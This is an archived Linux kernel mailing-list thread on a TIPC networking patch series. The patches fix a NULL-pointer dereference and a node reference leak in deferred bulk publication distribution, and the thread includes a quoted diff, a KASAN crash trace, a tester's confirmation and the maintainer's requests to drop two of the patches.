> + u32 max_user_pub = TIPC_MAX_PUBL - 1; > struct tipc_net *tn = tipc_net(net); > struct publication *p = NULL; > struct sk_buff *skb = NULL; > + bool protocol_type = false; > u32 rc_dests; > > + if (ua->sr.type == TIPC_NODE_STATE || ua->sr.type == TIPC_LINK_STATE || > + ua->sr.type == TIPC_TOP_SRV) > + protocol_type = true; > + > spin_lock_bh(&tn->nametbl_lock); > + if (protocol_type) > + goto insert; > > - if (nt->local_publ_count >= TIPC_MAX_PUBL) { > - pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL); > + /* Reserve one entry for node state service type because it has cluster > + * scope and it is distributed in bulk. So, the maximum number of user's > + * publications is (TIPC_MAX_PUBL - 1). > + */ > + if (nt->local_publ_count >= max_user_pub) { > + pr_warn("Bind failed, max limit %u reached\n", max_user_pub); > goto exit; > } > > +insert: > p = tipc_nametbl_insert_publ(net, ua, sk, key); > if (p) { > - nt->local_publ_count++; > + /* Not count node state, link state and topology server types > + * so that maximum nt->local_publ_count does not prevent > + * protocol service types from being inserted to the name > + * table. > + */ > + if (!protocol_type) > + nt->local_publ_count++; > skb = tipc_named_publish(net, p); > } > rc_dests = nt->rc_dests; > @@ -810,7 +829,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua, > > p = tipc_nametbl_remove_publ(net, ua, sk, key); > if (p) { > - nt->local_publ_count--; > + if (p->sr.type != TIPC_NODE_STATE && > + p->sr.type != TIPC_LINK_STATE && > + p->sr.type != TIPC_TOP_SRV) > + nt->local_publ_count--; > skb = tipc_named_withdraw(net, p); > list_del_init(&p->binding_sock); > kfree_rcu(p, rcu); > diff --git a/net/tipc/net.c b/net/tipc/net.c > index 7e65d0b0c4a8..75ac4e3cd01a 100644 > --- a/net/tipc/net.c > +++ b/net/tipc/net.c > @@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr) > tipc_sk_reinit(net); > tipc_mon_reinit_self(net); > tipc_nametbl_publish(net, &ua, &sk, addr); > + atomic_set(&tn->finalized, 1); > + /* Wake up nodes waiting for distributing bulk of publications > + * if applicable. > + */ > + tipc_node_wakeup(net); > } > > void tipc_net_finalize_work(struct work_struct *work) > diff --git a/net/tipc/node.c b/net/tipc/node.c > index 8e4ef2630ae4..ae7be02a65a9 100644 > --- a/net/tipc/node.c > +++ b/net/tipc/node.c > @@ -111,6 +111,9 @@ struct tipc_bclink_entry { > * @peer_net: peer's net namespace > * @peer_hash_mix: hash for this peer (FIXME) > * @crypto_rx: RX crypto handler > + * @work: work item for bulk distribution of cluster scope publications > + * @work_scheduled: flag to indicate the work has been scheduled > + * @finalized: flag to wake up scheduled work > */ > struct tipc_node { > u32 addr; > @@ -145,6 +148,9 @@ struct tipc_node { > #ifdef CONFIG_TIPC_CRYPTO > struct tipc_crypto *crypto_rx; > #endif > + struct work_struct work; > + atomic_t work_scheduled; > + atomic_t finalized; > }; > > /* Node FSM states and events: > @@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n) > write_unlock_bh(&n->lock); > } > > +static void tipc_node_down(struct tipc_node *n) > +{ > + u32 bearer_id, bearer_cnt; > + > + tipc_node_read_lock(n); > + bearer_cnt = n->link_cnt; > + tipc_node_read_unlock(n); > + for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++) > + tipc_node_link_down(n, bearer_id, false); > +} > + > +static void tipc_node_dist_bulk(struct work_struct *work) > +{ > + struct tipc_node *node = container_of(work, struct tipc_node, work); > + struct tipc_net *tn = tipc_net(node->net); > + > + wait_var_event(&node->finalized, atomic_read(&node->finalized)); > + > + /* node is down */ > + if (!atomic_read(&node->work_scheduled)) > + goto exit; > + > + /* Stop waking up work in tipc_node_timeout() */ > + atomic_set(&node->work_scheduled, 0); > + > + if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) > + tipc_node_down(node); > + > +exit: > + if (atomic_dec_and_test(&tn->node_wq_count)) > + wake_up_var(&tn->node_wq_count); > + > + tipc_node_put(node); > +} > + > +static void tipc_node_cancel_work(struct tipc_node *node) > +{ > + if (atomic_read(&node->work_scheduled)) { > + struct tipc_net *tn = tipc_net(node->net); > + > + /* Wake up scheduled work if it is waiting. */ > + if (!atomic_read(&node->finalized)) { > + atomic_set(&node->work_scheduled, 0); > + atomic_set(&node->finalized, 1); > + wake_up_var(&node->finalized); > + } > + > + /* Work is pending */ > + if (cancel_work(&node->work)) { > + if (atomic_dec_and_test(&tn->node_wq_count)) > + wake_up_var(&tn->node_wq_count); > + tipc_node_put(node); > + } > + } > +} > + > static void tipc_node_write_unlock(struct tipc_node *n) > __releases(n->lock) > { > @@ -421,11 +483,32 @@ static void tipc_node_write_unlock(struct tipc_node *n) > > write_unlock_bh(&n->lock); > > - if (flags & TIPC_NOTIFY_NODE_DOWN) > + if (flags & TIPC_NOTIFY_NODE_DOWN) { > tipc_publ_notify(net, publ_list, node, n->capabilities); > - > - if (flags & TIPC_NOTIFY_NODE_UP) > - tipc_named_node_up(net, node, n->capabilities); > + tipc_node_cancel_work(n); > + } > + > + if (flags & TIPC_NOTIFY_NODE_UP) { > + struct tipc_net *tn = tipc_net(net); > + int rc = 0; > + > + rc = tipc_named_node_up(net, node, n->capabilities); > + /* Defer bulk distribution to work queue */ > + if (rc > 0) { > + atomic_set(&n->work_scheduled, 1); > + atomic_inc(&tn->node_wq_count); > + tipc_node_get(n); > + if (!schedule_work(&n->work)) { > + atomic_dec(&tn->node_wq_count); > + tipc_node_put(n); > + } > + } else if (rc < 0) { > + /* Bring the node down to start over bulk distribution > + * when the first link is up again. > + */ > + tipc_node_down(n); > + } > + } > > if (flags & TIPC_NOTIFY_LINK_UP) { > tipc_mon_peer_up(net, node, bearer_id); > @@ -564,6 +647,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id, > INIT_LIST_HEAD(&n->list); > INIT_LIST_HEAD(&n->publ_list); > INIT_LIST_HEAD(&n->conn_sks); > + INIT_WORK(&n->work, tipc_node_dist_bulk); > + atomic_set(&n->work_scheduled, 0); > + atomic_set(&n->finalized, 0); > skb_queue_head_init(&n->bc_entry.namedq); > skb_queue_head_init(&n->bc_entry.inputq1); > __skb_queue_head_init(&n->bc_entry.arrvq); > @@ -653,6 +739,21 @@ void tipc_node_stop(struct net *net) > spin_unlock_bh(&tn->node_list_lock); > } > > +void tipc_node_wakeup(struct net *net) > +{ > + struct tipc_net *tn = tipc_net(net); > + struct tipc_node *node; > + > + rcu_read_lock(); > + list_for_each_entry_rcu(node, &tn->node_list, list) { > + if (atomic_read(&node->work_scheduled)) { > + atomic_set(&node->finalized, 1); > + wake_up_var(&node->finalized); > + } > + } > + rcu_read_unlock(); > +} > + > void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr) > { > struct tipc_node *n; > @@ -801,6 +902,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer) > static void tipc_node_timeout(struct timer_list *t) > { > struct tipc_node *n = timer_container_of(n, t, timer); > + struct tipc_net *tn = tipc_net(n->net); > struct tipc_link_entry *le; > struct sk_buff_head xmitq; > int remains = n->link_cnt; > @@ -814,6 +916,11 @@ static void tipc_node_timeout(struct timer_list *t) > return; > } > > + if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) { > + atomic_set(&n->finalized, 1); > + wake_up_var(&n->finalized); > + } > + > #ifdef CONFIG_TIPC_CRYPTO > /* Take any crypto key related actions first */ > tipc_crypto_timeout(n->crypto_rx); > diff --git a/net/tipc/node.h b/net/tipc/node.h > index 154a5bbb0d29..c7bc3bc05328 100644 > --- a/net/tipc/node.h > +++ b/net/tipc/node.h > @@ -75,6 +75,7 @@ enum { > #define INVALID_BEARER_ID -1 > > void tipc_node_stop(struct net *net); > +void tipc_node_wakeup(struct net *net); > bool tipc_node_get_id(struct net *net, u32 addr, u8 *id); > u32 tipc_node_get_addr(struct tipc_node *node); > char *tipc_node_get_id_str(struct tipc_node *node); > -- > 2.43.0 > Hi Tung, I tested the updated patch on v7.2-rc5 with the same reproducer. The reproducer completed the full 400-second run without publication errors, crashes, hung tasks, or netns teardown issues. Tested-by: Weiming Shi <bestswngs@gmail.com> Also, please remember to add the following tag when posting the patch: Reported-by: Xiang Mei <xmei5@asu.edu> Thanks for your work on this. Weiming Shi ^ permalink raw reply [flat|nested] 14+ messages in thread
* [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure [not found] <20260718092544.785289-1-bestswngs@gmail.com> 2026-07-18 9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi @ 2026-07-18 9:25 ` Weiming Shi 2026-07-20 15:44 ` Tung Quang Nguyen 2026-07-18 9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi 2 siblings, 1 reply; 14+ messages in thread From: Weiming Shi @ 2026-07-18 9:25 UTC (permalink / raw) To: Jon Maloy, Tung Nguyen, netdev, tipc-discussion Cc: Xiang Mei, Weiming Shi, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, kernel test robot, Hoang Huu Le, linux-kernel tipc_net_finalize() does not check the return value of tipc_nametbl_publish(). If the publish fails, for example on a GFP_ATOMIC allocation failure, the node state name never lands in cluster_scope, but tn->finalized is still set. A worker deferred by tipc_named_node_up() then wakes and calls named_distribute() with an empty list. That replays the same unguarded buf_msg(skb_peek_tail(list)) tail stamp, this time on the tipc_node_dist_bulk workqueue: KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf] RIP: 0010:named_distribute (net/tipc/name_distr.c:200) Workqueue: events tipc_node_dist_bulk Call Trace: tipc_named_dist_cluster_scope (net/tipc/name_distr.c:267) tipc_node_dist_bulk (net/tipc/node.c:403) process_one_work worker_thread Kernel panic - not syncing: Fatal exception in interrupt Check the publish result and warn on failure, but still set finalized, otherwise deferred workers would sleep forever. In tipc_named_dist_cluster_scope() re-check cluster_scope after the wait and skip the distribution when it is empty. This is a permanent condition, so return 0 instead of an error, otherwise the link would be bounced forever. Also guard the tail stamp in named_distribute() itself, so a caller that misses the precondition gets a warning and a link reset through the existing -ENOBUFS path instead of a crash. Reproducing this needs an allocation failure during finalize, so I verified it by stubbing out the publish call: both nodes log the failure, the workers skip the distribution, no crash, no link flap. The normal path is unchanged with the same two-node test. Fixes: cad2929dc432 ("tipc: update a binding service via broadcast") Reported-by: Xiang Mei <xmei5@asu.edu> Assisted-by: Claude:claude-opus-4-8 Signed-off-by: Weiming Shi <bestswngs@gmail.com> --- net/tipc/name_distr.c | 11 +++++++++++ net/tipc/net.c | 3 ++- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c index b764274df758..5b0fb09226fc 100644 --- a/net/tipc/name_distr.c +++ b/net/tipc/name_distr.c @@ -193,6 +193,10 @@ static int named_distribute(struct net *net, struct sk_buff_head *list, skb_trim(skb, INT_H_SIZE + (msg_dsz - msg_rem)); __skb_queue_tail(list, skb); } + if (skb_queue_empty(list)) { + pr_warn("Bulk publication list empty, nothing to distribute\n"); + return 1; + } hdr = buf_msg(skb_peek_tail(list)); msg_set_last_bulk(hdr); msg_set_named_seqno(hdr, seqno); @@ -253,6 +257,13 @@ int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) spin_unlock_bh(&tn->nametbl_lock); read_lock_bh(&nt->cluster_scope_lock); + if (unlikely(list_empty(&nt->cluster_scope))) { + /* finalize is done but nothing was published (publish + * failed): a permanent state, nothing to synchronize. + */ + read_unlock_bh(&nt->cluster_scope_lock); + return 0; + } if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { read_unlock_bh(&nt->cluster_scope_lock); return -ENOBUFS; diff --git a/net/tipc/net.c b/net/tipc/net.c index 4c144e720ac1..2aa8812c551a 100644 --- a/net/tipc/net.c +++ b/net/tipc/net.c @@ -138,7 +138,8 @@ static void tipc_net_finalize(struct net *net, u32 addr) tipc_named_reinit(net); tipc_sk_reinit(net); tipc_mon_reinit_self(net); - tipc_nametbl_publish(net, &ua, &sk, addr); + if (!tipc_nametbl_publish(net, &ua, &sk, addr)) + pr_warn("Failed to publish own node state\n"); atomic_inc(&tn->finalized); wake_up_var(&tn->finalized); } -- 2.43.0 ^ permalink raw reply [flat|nested] 14+ messages in thread
* RE: [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure 2026-07-18 9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi @ 2026-07-20 15:44 ` Tung Quang Nguyen 0 siblings, 0 replies; 14+ messages in thread From: Tung Quang Nguyen @ 2026-07-20 15:44 UTC (permalink / raw) To: Weiming Shi Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, kernel test robot, Jon Maloy, netdev, tipc-discussion, linux-kernel >Subject: [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on >publish failure > >tipc_net_finalize() does not check the return value of tipc_nametbl_publish(). >If the publish fails, for example on a GFP_ATOMIC allocation failure, the node >state name never lands in cluster_scope, but tn->finalized is still set. A worker >deferred by >tipc_named_node_up() then wakes and calls named_distribute() with an >empty list. That replays the same unguarded buf_msg(skb_peek_tail(list)) tail >stamp, this time on the tipc_node_dist_bulk workqueue: > > KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf] > RIP: 0010:named_distribute (net/tipc/name_distr.c:200) > Workqueue: events tipc_node_dist_bulk > Call Trace: > tipc_named_dist_cluster_scope (net/tipc/name_distr.c:267) > tipc_node_dist_bulk (net/tipc/node.c:403) > process_one_work > worker_thread > Kernel panic - not syncing: Fatal exception in interrupt > >Check the publish result and warn on failure, but still set finalized, otherwise >deferred workers would sleep forever. In >tipc_named_dist_cluster_scope() re-check cluster_scope after the wait and >skip the distribution when it is empty. This is a permanent condition, so return >0 instead of an error, otherwise the link would be bounced forever. Also guard >the tail stamp in named_distribute() itself, so a caller that misses the >precondition gets a warning and a link reset through the existing -ENOBUFS >path instead of a crash. > >Reproducing this needs an allocation failure during finalize, so I verified it by >stubbing out the publish call: both nodes log the failure, the workers skip the >distribution, no crash, no link flap. >The normal path is unchanged with the same two-node test. > >Fixes: cad2929dc432 ("tipc: update a binding service via broadcast") >Reported-by: Xiang Mei <xmei5@asu.edu> >Assisted-by: Claude:claude-opus-4-8 >Signed-off-by: Weiming Shi <bestswngs@gmail.com> Please drop this patch because sashiko reports the same issue for patch 1/3: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com ^ permalink raw reply [flat|nested] 14+ messages in thread
* [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending [not found] <20260718092544.785289-1-bestswngs@gmail.com> 2026-07-18 9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi 2026-07-18 9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi @ 2026-07-18 9:25 ` Weiming Shi 2026-07-20 15:45 ` Tung Quang Nguyen 2 siblings, 1 reply; 14+ messages in thread From: Weiming Shi @ 2026-07-18 9:25 UTC (permalink / raw) To: Jon Maloy, Tung Nguyen, netdev, tipc-discussion Cc: Xiang Mei, Weiming Shi, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel In tipc_node_write_unlock(), TIPC_NOTIFY_NODE_UP with an empty cluster_scope takes a node reference and schedules n->work. If the link flaps down and up while that work is still pending, the next NODE_UP takes another reference, but schedule_work() returns false and the extra reference is never dropped. The tipc_node structure leaks. Verified by flapping the bearer while the work is pending: one reference is leaked per repeated NODE_UP, while the work is put only once when it finally runs. Drop the reference when the work was already queued. Reported-by: Xiang Mei <xmei5@asu.edu> Assisted-by: Claude:claude-opus-4-8 Signed-off-by: Weiming Shi <bestswngs@gmail.com> --- net/tipc/node.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/net/tipc/node.c b/net/tipc/node.c index f757722d15be..f826347b5870 100644 --- a/net/tipc/node.c +++ b/net/tipc/node.c @@ -447,7 +447,8 @@ static void tipc_node_write_unlock(struct tipc_node *n) /* Defer bulk distribution to work queue */ if (rc > 0) { tipc_node_get(n); - schedule_work(&n->work); + if (!schedule_work(&n->work)) + tipc_node_put(n); } else if (rc < 0) { /* Bring the link down to start over bulk distribution * when the link is up again. -- 2.43.0 ^ permalink raw reply [flat|nested] 14+ messages in thread
* RE: [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending 2026-07-18 9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi @ 2026-07-20 15:45 ` Tung Quang Nguyen 0 siblings, 0 replies; 14+ messages in thread From: Tung Quang Nguyen @ 2026-07-20 15:45 UTC (permalink / raw) To: Weiming Shi Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion >Subject: [PATCH net v8 3/3] tipc: fix node reference leak when defer work is >already pending > >In tipc_node_write_unlock(), TIPC_NOTIFY_NODE_UP with an empty >cluster_scope takes a node reference and schedules n->work. If the link flaps >down and up while that work is still pending, the next NODE_UP takes another >reference, but schedule_work() returns false and the extra reference is never >dropped. The tipc_node structure leaks. > >Verified by flapping the bearer while the work is pending: one reference is >leaked per repeated NODE_UP, while the work is put only once when it finally >runs. > >Drop the reference when the work was already queued. > >Reported-by: Xiang Mei <xmei5@asu.edu> >Assisted-by: Claude:claude-opus-4-8 >Signed-off-by: Weiming Shi <bestswngs@gmail.com> Please drop this patch because sashiko reports the same issue for patch 1/3: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com ^ permalink raw reply [flat|nested] 14+ messages in thread
end of thread, other threads:[~2026-07-29 4:19 UTC | newest]
Thread overview: 14+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
[not found] <20260718092544.785289-1-bestswngs@gmail.com>
2026-07-18 9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi
2026-07-20 15:41 ` Tung Quang Nguyen
2026-07-21 3:06 ` Weiming Shi
2026-07-21 3:24 ` Tung Quang Nguyen
2026-07-27 10:30 ` Weiming Shi
2026-07-27 10:48 ` Tung Quang Nguyen
2026-07-28 12:52 ` Tung Quang Nguyen
2026-07-28 17:57 ` Weiming Shi
2026-07-29 3:50 ` Tung Quang Nguyen
2026-07-29 4:18 ` Weiming Shi
2026-07-18 9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi
2026-07-20 15:44 ` Tung Quang Nguyen
2026-07-18 9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi
2026-07-20 15:45 ` Tung Quang Nguyen
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®